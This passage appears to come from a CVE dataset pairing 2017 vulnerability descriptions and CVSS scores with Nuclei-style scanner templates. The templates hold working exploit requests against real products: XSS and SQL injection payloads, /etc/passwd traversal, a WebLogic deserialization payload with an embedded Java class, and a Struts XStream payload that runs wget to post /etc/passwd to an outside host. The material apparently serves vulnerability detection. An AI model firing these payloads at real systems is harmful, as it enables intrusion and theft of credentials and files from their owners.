['{{BaseURL}}/wp-content/plugins/wp-mailster/view/subscription/unsubscribe2.php?mes=%3C%2Fscript%3E%22%3E%3Cscript%3E%28123%29%3C%2Fscript%3E'], 'matchers-condition': 'and', 'matchers': [{'type': 'word', 'words': [''], 'part': 'body'}, {'type': 'word', 'words': ['text/html'], 'part': 'header'}, {'type': 'status', 'status': [200]}]}]"], ["CVE-2017-12138", "XOOPS Core 2.5.8 has a stored URL redirect bypass vulnerability in /modules/profile/index.php because of the URL filter.", 1191, [], 6.1, " cpe:2.3:a:xoops:xoops:2.5.8", "[{'matchers': [{'type': 'regex', 'regex': ['(?m)^(?:Location\\\\s*?:\\\\s*?)(?:https?:\\\\/\\\\/|\\\\/\\\\/|\\\\/\\\\\\\\\\\\\\\\|\\\\/\\\\\\\\)?(?:[a-zA-Z0-9\\\\-_\\\\.@]*)attacker\\\\.com\\\\/?(\\\\/|[^.].*)?$'], 'part': 'header'}], 'cookie-reuse': True, 'raw': ['POST /user.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nuname={{username}}&pass={{password}}&xoops_redirect=%2Findex.php&op=login\\n', 'GET /modules/profile/index.php?op=main&xoops_redirect=https:www.attacker.com HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-8917", "SQL injection vulnerability in Joomla! 3.7.x before 3.7.1 allows attackers to execute arbitrary SQL commands via unspecified vectors.", 30, [], 9.8, " cpe:2.3:a:joomla:joomla :3.7.0", "[{'matchers': [{'words': ['cf79ae6addba60ad018347359bd144d2'], 'type': 'word', 'part': 'body'}], 'method': 'GET', 'path': ['{{BaseURL}}/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,md5(8888)),1)']}]"], ["CVE-2017-7855", "IceWarp WebMail 11.3.1.5 is vulnerable to cross-site scripting via the language parameter.\n", 2083, [], 6.1, " cpe:2.3:a:icewarp:server:11.3.1.5", "[{'method': 'GET', 'path': ['{{BaseURL}}/webmail/?language=%22%3E%3Cimg%20src%3Dx%20onerror%3D(document.domain)%3E'], 'matchers-condition': 'and', 'matchers': [{'words': ['lang=\"\">', 'IceWarp'], 'type': 'word', 'condition': 'and', 'case-insensitive': True, 'part': 'body'}, {'words': ['text/html'], 'type': 'word', 'part': 'header'}, {'type': 'status', 'status': [200]}]}]"], ["CVE-2017-15715", "In Apache httpd 2.4.0 to 2.4.29, the expression specified in could match '$' to a newline character in a malicious filename, rather than matching only the end of the filename. This could be exploited in environments where uploads of some files are are externally blocked, but only by matching the trailing portion of the filename.", 34, [], 8.1, " cpe:2.3:a:apache:http server", "[{'matchers': [{'type': 'dsl', 'dsl': ['contains(body_2, \"{{randstr_1}}\")']}], 'raw': ['POST / HTTP/1.1\\nHost: {{Hostname}}\\nContent-Length: 264\\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKc8fBVDo558U4hbJ\\nAccept-Encoding: gzip, deflate\\nConnection: close\\n\\n------WebKitFormBoundaryKc8fBVDo558U4hbJ\\nContent-Disposition: form-data; name=\"file\"; filename=\"{{randstr}}.php\"\\n\\n{{randstr_1}}\\n\\n------WebKitFormBoundaryKc8fBVDo558U4hbJ\\nContent-Disposition: form-data; name=\"name\"\\n\\n{{randstr}}.php\\\\x0A\\n------WebKitFormBoundaryKc8fBVDo558U4hbJ--\\n', 'GET /{{randstr}}.php\\\\x0A HTTP/1.1\\nHost: {{Hostname}}\\nAccept-Encoding: gzip,deflate\\nAccept: */*\\nAccept-Language: en\\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)\\nConnection: close\\n'], 'req-condition': True}]"], ["CVE-2017-18542", "The zendesk-help-center plugin before 1.0.5 for WordPress has multiple XSS issues.\n", 2058, [], 6.1, " cpe:2.3:a:bestwebsoft:zendesk help center", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Zendesk Help Center by BestWebSoft\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/zendesk-help-center/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-11629", "dayrui FineCms through 5.0.10 has Cross Site Scripting (XSS) in controllers/api.php via the function parameter in a c=api&m=data2 request.\n", 1378, [], 6.1, " cpe:2.3:a:finecms:finecms", "[{'path': ['{{BaseURL}}/index.php?c=api&m=data2&function=%3Cscript%3E(document.domain)%3C/script%3Ep&format=php'], 'method': 'GET', 'matchers': [{'words': ['p\u4e0d\u5b58\u5728'], 'type': 'word', 'part': 'body'}, {'words': ['text/html'], 'type': 'word', 'part': 'header'}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and'}]"], ["CVE-2017-9805", "The REST Plugin in Apache Struts 2.1.1 through 2.3.x before 2.3.34 and 2.5.x before 2.5.13 uses an XStreamHandler with an instance of XStream for deserialization without any type filtering, which can lead to Remote Code Execution when deserializing XML payloads.", 42, [], 8.1, " cpe:2.3:a:apache:struts:2.1.2", "[{'matchers': [{'words': ['Debugging information', 'com.thoughtworks.xstream.converters.collections.MapConverter'], 'condition': 'and', 'type': 'word'}, {'type': 'status', 'status': [500]}], 'headers': {'Content-Type': 'application/xml'}, 'body': '\\n \\n \\n 0\\n \\n \\n \\n \\n \\n false\\n 0\\n \\n \\n \\n \\n \\n wget\\n --post-file\\n /etc/passwd\\n burpcollaborator.net\\n \\n false\\n \\n \\n \\n \\n java.lang.ProcessBuilder\\n start\\n \\n \\n asdasd\\n \\n asdasd\\n \\n \\n \\n \\n \\n false\\n 0\\n 0\\n false\\n \\n false\\n \\n \\n \\n 0\\n \\n \\n \\n \\n \\n \\n \\n \\n\\n', 'path': ['{{BaseURL}}/struts2-rest-showcase/orders/3', '{{BaseURL}}/orders/3'], 'matchers-condition': 'and', 'method': 'POST'}]"], ["CVE-2017-1000486", "Primetek Primefaces 5.x is vulnerable to a weak encryption flaw resulting in remote code execution", 324, [], 9.8, " cpe:2.3:a:primetek:primefaces", "[{'matchers': [{'type': 'word', 'part': 'header', 'words': ['Mogwailabs: CHECKCHECK']}], 'raw': ['POST /javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1\\nHost: {{Hostname}}\\nConnection: close\\nContent-Length: 160\\nAccept: */*\\nAccept-Language: en\\nContent-Type: application/x-www-form-urlencoded\\nAccept-Encoding: gzip, deflate\\n\\npfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVbBkVHj5xLXXCaFGpOHe704aOkNwaB12Cc3Iq6NmBo%2BQZuqhqtPxdTA%3D%3D\\n']}]"], ["CVE-2017-5631", "An issue was discovered in KMCIS CaseAware. Reflected cross site scripting is present in the user parameter (i.e., \"usr\") that is transmitted in the login.php query string.", 1112, [], 6.1, " cpe:2.3:a:kmc information systems:caseaware:-", "[{'matchers-condition': 'and', 'path': ['{{BaseURL}}/login.php?mid=0&usr=admin%27%3e%3C%2Fscript%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E'], 'matchers': [{'part': 'body', 'type': 'word', 'words': [\"'>\"]}, {'part': 'header', 'type': 'word', 'words': ['text/html']}, {'status': [200], 'type': 'status'}], 'method': 'GET'}]"], ["CVE-2017-18532", "The realty plugin before 1.1.0 for WordPress has multiple XSS issues.\n", 2078, [], 6.1, " cpe:2.3:a:bestwebsoft:realty", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Realty by BestWebSoft\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/realty/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-17043", "The Emag Marketplace Connector plugin 1.0.0 for WordPress has reflected XSS because the parameter \"post\" to /wp-content/plugins/emag-marketplace-connector/templates/order/awb-meta-box.php is not filtered correctly.", 436, [], 6.1, " cpe:2.3:a:zitec:emag marketplace connector:1.0.0", "[{'method': 'GET', 'path': ['{{BaseURL}}/wp-content/plugins/emag-marketplace-connector/templates/order/awb-meta-box.php?post=%22%2F%3E%3Cscript%3E%28123%29%3C%2Fscript%3E'], 'matchers-condition': 'and', 'matchers': [{'type': 'word', 'words': [''], 'part': 'body'}, {'type': 'word', 'words': ['text/html'], 'part': 'header'}, {'type': 'status', 'status': [200]}]}]"], ["CVE-2017-18558", "The bws-testimonials plugin before 0.1.9 for WordPress has multiple XSS issues.\n", 2074, [], 6.1, " cpe:2.3:a:bestwebsoft:testimonials", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Testimonials by BestWebSoft\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/bws-testimonials/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-14622", "WordPress 2kb Amazon Affiliates Store plugin before 2.1.1 contains multiple cross-site scripting vulnerabilities. The plugin allows an attacker to inject arbitrary web script or HTML via the (1) page parameter or (2) kbAction parameter in the kbAmz page to wp-admin/admin.php, thus making possible theft of cookie-based authentication credentials and launch of other attacks.\n", 1578, [], 6.1, " cpe:2.3:a:2kblater:2kb amazon affiliates store", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 500', 'contains(content_type_2, \"text/html\")', 'contains(body_2, \"\")', 'contains(body_2, \"2kb-amazon-affiliates-store\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=kbAmz&kbAction=demo%22%3E%3Cscript%3E%28document.domain%29%3C%2Fscript%3E HTTP/1.1\\nHost: {{Hostname}}\\n'], 'redirects': True, 'cookie-reuse': True}]"], ["CVE-2017-18502", "The subscriber plugin before 1.3.5 for WordPress has multiple XSS issues.\n", 2064, [], 6.1, " cpe:2.3:a:bestwebsoft:subscriber", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Subscriber by\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/subscriber/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-16877", "ZEIT Next.js before 2.4.1 has directory traversal under the /_next and /static request namespace, allowing attackers to obtain sensitive information.", 49, [], 7.5, " cpe:2.3:a:zeit:next.js", "[{'method': 'GET', 'matchers': [{'condition': 'and', 'type': 'regex', 'regex': ['root:[x*]:0:0'], 'part': 'body'}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/_next/../../../../../../../../../../etc/passwd']}]"], ["CVE-2017-14186", "Failure to sanitize the login redir parameter in the SSL-VPN web portal may allow an attacker to perform a Cross-site Scripting (XSS) or an URL Redirection attack.\n", 1542, [], 5.4, " cpe:2.3:o:fortinet:fortios", "[{'matchers-condition': 'and', 'method': 'GET', 'path': ['{{BaseURL}}/remote/loginredir?redir=javascript:(document.domain)'], 'matchers': [{'part': 'body', 'type': 'word', 'words': ['location=decodeURIComponent(\"javascript%3A%28document.domain%29\"']}, {'part': 'header', 'type': 'word', 'words': ['text/html']}, {'status': [200], 'type': 'status'}]}]"], ["CVE-2017-18494", "The custom-search-plugin plugin before 1.36 for WordPress has multiple XSS issues.\n", 2076, [], 6.1, " cpe:2.3:a:bestwebsoft:custom search", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Custom Search by\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/custom-search-plugin/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-7925", "A Password in Configuration File issue was discovered in Dahua DH-IPC-HDBW23A0RN-ZS, DH-IPC-HDBW13A0SN, DH-IPC-HDW1XXX, DH-IPC-HDW2XXX, DH-IPC-HDW4XXX, DH-IPC-HFW1XXX, DH-IPC-HFW2XXX, DH-IPC-HFW4XXX, DH-SD6CXX, DH-NVR1XXX, DH-HCVR4XXX, DH-HCVR5XXX, DHI-HCVR51A04HE-S3, DHI-HCVR51A08HE-S3, and DHI-HCVR58A32S-S2 devices. The password in configuration file vulnerability was identified, which could lead to a malicious user assuming the identity of a privileged user and gaining access to sensitive information.\n", 1959, [], 9.8, " cpe:2.3:o:dahuasecurity:dh-ipc-hdbw23a0rn-zs firmware:-", "[{'method': 'GET', 'path': ['{{BaseURL}}/current_config/passwd'], 'extractors': [{'regex': ['1:(.*:.*):1:CtrPanel'], 'type': 'regex', 'group': 1}], 'matchers': [{'dsl': ['contains(to_lower(body), \"ugm\")', 'contains(to_lower(body), \"id:name:passwd\")', 'status_code == 200'], 'type': 'dsl', 'condition': 'and'}]}]"], ["CVE-2017-7269", "RCE - Buffer overflow in ScStoragePathFromUrl function (WebDAV service - IIS 6.0) - Windows Server 2003 R2", 32, [], 9.8, " cpe:2.3:a:microsoft:internet information server:6.0", "[{'method': 'OPTIONS', 'matchers': [{'type': 'status', 'status': [200]}, {'words': ['IIS/6.0'], 'type': 'word', 'part': 'header'}, {'condition': 'or', 'type': 'dsl', 'dsl': ['regex(\"\", dasl)', 'regex(\"[\\\\d]+(,\\\\s+[\\\\d]+)?\", dav)', 'regex(\".*?PROPFIND\", public)', 'regex(\".*?PROPFIND\", allow)'], 'part': 'header'}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}']}]"], ["CVE-2017-10271", "Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent - WLS Security). Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3 to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server.", 52, [], 7.5, " cpe:2.3:a:oracle:weblogic server:10.3.6.0.0", "[{'matchers': [{'type': 'regex', 'regex': ['root:[x*]:0:0'], 'part': 'body'}], 'raw': ['POST /wls-wsat/CoordinatorPortType HTTP/1.1\\nHost: {{Hostname}}\\nAccept: */*\\nAccept-Language: en\\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)\\nConnection: close\\nContent-Type: text/xml\\nContent-Length: 5178\\n\\n\\n\\n \\n \\n \\n \\n 0xcafebabe0000003200670a001700350800360a003700380a0039003a08003b0a0039003c07003d0a0007003508003e0a0039003f0a003900400b004100420800430800440800450800460700470a001100480a001100490a0011004a0a004b004c07004d07004e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650100047468697301001e4c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578703b010003736179010029284c6a6176612f6c616e672f537472696e673b294c6a6176612f696f2f496e70757453747265616d3b010003636d640100124c6a6176612f6c616e672f537472696e673b01000769734c696e75780100015a0100056f73547970010004636d64730100104c6a6176612f7574696c2f4c6973743b01000e70726f636573734275696c64657201001a4c6a6176612f6c616e672f50726f636573734275696c6465723b01000470726f630100134c6a6176612f6c616e672f50726f636573733b0100164c6f63616c5661726961626c65547970655461626c650100244c6a6176612f7574696c2f4c6973743c4c6a6176612f6c616e672f537472696e673b3e3b01000d537461636b4d61705461626c6507004f07005001000a457863657074696f6e7307005101000a536f7572636546696c6501000b586d6c4578702e6a6176610c001800190100076f732e6e616d650700520c0053005407004f0c0055005601000377696e0c005700580100136a6176612f7574696c2f41727261794c697374010004244e4f240c0059005a0c005b005c0700500c005d005e0100092f62696e2f626173680100022d63010007636d642e6578650100022f630100186a6176612f6c616e672f50726f636573734275696c6465720c0018005f0c006000610c006200630700640c0065006601001c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578700100106a6176612f6c616e672f4f626a6563740100106a6176612f6c616e672f537472696e6701000e6a6176612f7574696c2f4c6973740100136a6176612f6c616e672f457863657074696f6e0100106a6176612f6c616e672f53797374656d01000b67657450726f7065727479010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b01000b746f4c6f7765724361736501001428294c6a6176612f6c616e672f537472696e673b010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a01000a73746172747357697468010015284c6a6176612f6c616e672f537472696e673b295a010009737562737472696e670100152849294c6a6176612f6c616e672f537472696e673b010003616464010015284c6a6176612f6c616e672f4f626a6563743b295a010013284c6a6176612f7574696c2f4c6973743b295601001372656469726563744572726f7253747265616d01001d285a294c6a6176612f6c616e672f50726f636573734275696c6465723b010005737461727401001528294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0021001600170000000000020001001800190001001a0000002f00010001000000052ab70001b100000002001b00000006000100000007001c0000000c000100000005001d001e00000001001f00200002001a0000016f000300070000009c043d1202b800034e2dc600112db600041205b60006990005033dbb000759b700083a042b1209b6000a99001319042b07b6000bb9000c020057a700441c9900231904120db9000c0200571904120eb9000c02005719042bb9000c020057a700201904120fb9000c02005719041210b9000c02005719042bb9000c020057bb0011591904b700123a05190504b60013571905b600143a061906b60015b000000004001b0000004a001200000012000200130008001400180015001a00180023001a002c001b003c001c0040001d004a001e0054001f00600021006a002200740023007d002600880027008f002800960029001c0000004800070000009c001d001e00000000009c0021002200010002009a00230024000200080094002500220003002300790026002700040088001400280029000500960006002a002b0006002c0000000c0001002300790026002d0004002e000000110004fd001a0107002ffc0021070030231c0031000000040001003200010033000000020034\\n \\n \\n \\n com.supeream.exploits.XmlExp\\n \\n \\n \\n cat /etc/passwd\\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n\\n']}]"], ["CVE-2017-18556", "The bws-google-analytics plugin before 1.7.1 for WordPress has multiple XSS issues.\n", 2066, [], 6.1, " cpe:2.3:a:bestwebsoft:google analytics", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Google Analytics by BestWebSoft\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/bws-google-analytics/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-18562", "The error-log-viewer plugin before 1.0.6 for WordPress has multiple XSS issues.\n", 2065, [], 6.1, " cpe:2.3:a:bestwebsoft:error log viewer", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Error Log Viewer by BestWebSoft\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/error-log-viewer/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-1000029", "Oracle, GlassFish Server Open Source Edition 3.0.1 (build 22) is vulnerable to Local File Inclusion vulnerability, that makes it possible to include arbitrary files on the server, this vulnerability can be exploited without any prior authentication.", 1097, [], 7.5, " cpe:2.3:a:oracle:glassfish server:3.0.1", "[{'matchers-condition': 'and', 'path': ['{{BaseURL}}/resource/file%3a///etc/passwd/'], 'method': 'GET', 'matchers': [{'type': 'regex', 'regex': ['root:[x*]:0:0:']}, {'status': [200], 'type': 'status'}]}]"], ["CVE-2017-18024", "AvantFAX 3.3.3 has XSS via an arbitrary parameter name to the default URI, as demonstrated by a parameter whose name contains a SCRIPT element and whose value is 1.\n", 573, [], 6.1, " cpe:2.3:a:avantfax:avantfax:3.3.3", "[{'matchers': [{'type': 'word', 'words': ['', 'AvantFAX'], 'part': 'body', 'condition': 'and'}, {'status': [200], 'type': 'status'}, {'type': 'word', 'part': 'header', 'words': ['text/html']}], 'raw': ['POST / HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nusername=admin&password=admin&_submit_check=1&jlbqgb7g0x=1\\n'], 'matchers-condition': 'and'}]"], ["CVE-2017-11444", "Subrion CMS before 4.1.5.10 has a SQL injection vulnerability in /front/search.php via the $_GET array.", 26, [], 9.8, " cpe:2.3:a:intelliants:subrion cms", "[{'method': 'GET', 'matchers': [{'words': ['projectdiscovery.io'], 'type': 'word', 'part': 'body'}, {'type': 'status', 'status': [200]}], 'matchers-condition': 'and', 'path': ['{{BaseURL}}/search/members/?id`%3D520)%2f**%2funion%2f**%2fselect%2f**%2f1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2Cunhex%28%2770726f6a656374646973636f766572792e696f%27%29%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%23sqli=1']}]"], ["CVE-2017-15944", "PreAuth RCE on Palo Alto GlobalProtect", 353, [], 9.8, " cpe:2.3:o:paloaltonetworks:pan-os", "[{'path': ['{{BaseURL}}/global-protect/portal/css/login.css'], 'method': 'GET', 'matchers-condition': 'and', 'matchers': [{'words': ['Last-Modified: Sun, 10 Sep 2017 16:48:23 GMT'], 'type': 'word', 'part': 'header'}, {'status': [200], 'type': 'status'}]}]"], ["CVE-2017-9833", "The server allows the injection of \"../..\" using the FILECAMERA variable sent by GET to read files with root privileges. Without using access credentials.", 1061, [], 7.5, " cpe:2.3:a:boa:boa:0.94.14.21", "[{'method': 'GET', 'matchers-condition': 'and', 'path': ['{{BaseURL}}/cgi-bin/wapopen?B1=OK&NO=CAM_16&REFRESH_TIME=Auto_00&FILECAMERA=../../etc/passwd%00&REFRESH_HTML=auto.htm&ONLOAD_HTML=onload.htm&STREAMING_HTML=streaming.htm&NAME=admin&PWD=admin&PIC_SIZE=0'], 'matchers': [{'regex': ['root:[x*]:0:0'], 'type': 'regex'}, {'status': [200], 'type': 'status'}]}]"], ["CVE-2017-18565", "The updater plugin before 1.35 for WordPress has multiple XSS issues.\n", 2073, [], 6.1, " cpe:2.3:a:bestwebsoft:updater", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Updater by BestWebSoft\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/updater/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-18493", "The custom-admin-page plugin before 0.1.2 for WordPress has multiple XSS issues.\n", 2080, [], 6.1, " cpe:2.3:a:bestwebsoft:custom admin page", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Custom Admin Page by\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/custom-admin-page/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-18530", "The rating-bws plugin before 0.2 for WordPress has multiple XSS issues.\n", 2067, [], 6.1, " cpe:2.3:a:bestwebsoft:rating", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 'contains(header_2, \"text/html\")', 'contains(body_2, \">\\\\\">All\")', 'contains(body_3, \"Rating by BestWebSoft\")'], 'condition': 'and'}], 'raw': ['POST /wp-login.php HTTP/1.1\\nHost: {{Hostname}}\\nContent-Type: application/x-www-form-urlencoded\\n\\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\\n', 'GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3E(document.domain)%3C/script%3E HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /wp-content/plugins/rating-bws/readme.txt HTTP/1.1\\nHost: {{Hostname}}\\n']}]"], ["CVE-2017-12794", "In Django 1.10.x before 1.10.8 and 1.11.x before 1.11.5, HTML autoescaping was disabled in a portion of the template for the technical 500 debug page. Given the right circumstances, this allowed a cross-site scripting attack. This vulnerability shouldn't affect most production sites since you shouldn't run with \"DEBUG = True\" (which makes this page accessible) in your production settings.\n", 370, [], 6.1, " cpe:2.3:a:djangoproject:django:1.10.0", "[{'method': 'GET', 'path': ['{{BaseURL}}/create_user/?username=%3Cscript%3E(document.domain)%3C%2Fscript%3E'], 'matchers-condition': 'and', 'matchers': [{'part': 'body', 'words': [''], 'type': 'word'}, {'status': [200], 'type': 'status'}, {'part': 'header', 'words': ['text/html'], 'type': 'word'}]}]"], ["CVE-2017-5689", "An unprivileged network attacker could gain system privileges to provisioned Intel manageability SKUs: Intel Active Management Technology (AMT) and Intel Standard Manageability (ISM). An unprivileged local attacker could provision manageability features gaining unprivileged network or local system privileges on Intel manageability SKUs: Intel Active Management Technology (AMT), Intel Standard Manageability (ISM), and Intel Small Business Technology (SBT).\n", 1473, [], 9.8, " cpe:2.3:o:intel:active management technology firmware:6.0", "[{'matchers': [{'condition': 'and', 'type': 'word', 'part': 'body_2', 'words': ['System Status', 'Active Management Technology']}, {'status': [200], 'type': 'status'}], 'digest-username': 'admin', 'raw': ['GET / HTTP/1.1\\nHost: {{Hostname}}\\n', 'GET /hw-sys.htm HTTP/1.1\\nHost: {{Hostname}}\\n'], 'matchers-condition': 'and', 'req-condition': True}]"], ["CVE-2017-9140", "Cross-site scripting (XSS) vulnerability in Telerik.ReportViewer.WebForms.dll in Telerik Reporting for ASP.NET WebForms Report Viewer control before R1 2017 SP2 (11.0.17.406) allows remote attackers to inject arbitrary web script or HTML via the bgColor parameter to Telerik.ReportViewer.axd.", 336, [], 6.1, " cpe:2.3:a:progress:telerik reporting", "[{'matchers-condition': 'and', 'method': 'GET', 'path': ['{{BaseURL}}/Telerik.ReportViewer.axd?optype=Parameters&bgColor=_000000%22onload=%22(1)'], 'matchers': [{'type': 'status', 'status': [200]}, {'condition': 'and', 'type': 'word', 'words': ['#000000\"onload=\"(1)', 'Telerik.ReportViewer.axd?name=Resources']}]}]"], ["CVE-2017-18491", "The contact-form-plugin plugin before 4.0.6 for WordPress has multiple XSS issues.\n", 2062, [], 6.1, " cpe:2.3:a:bestwebsoft:contact form", "[{'matchers': [{'type': 'dsl', 'dsl': ['status_code_2 == 200', 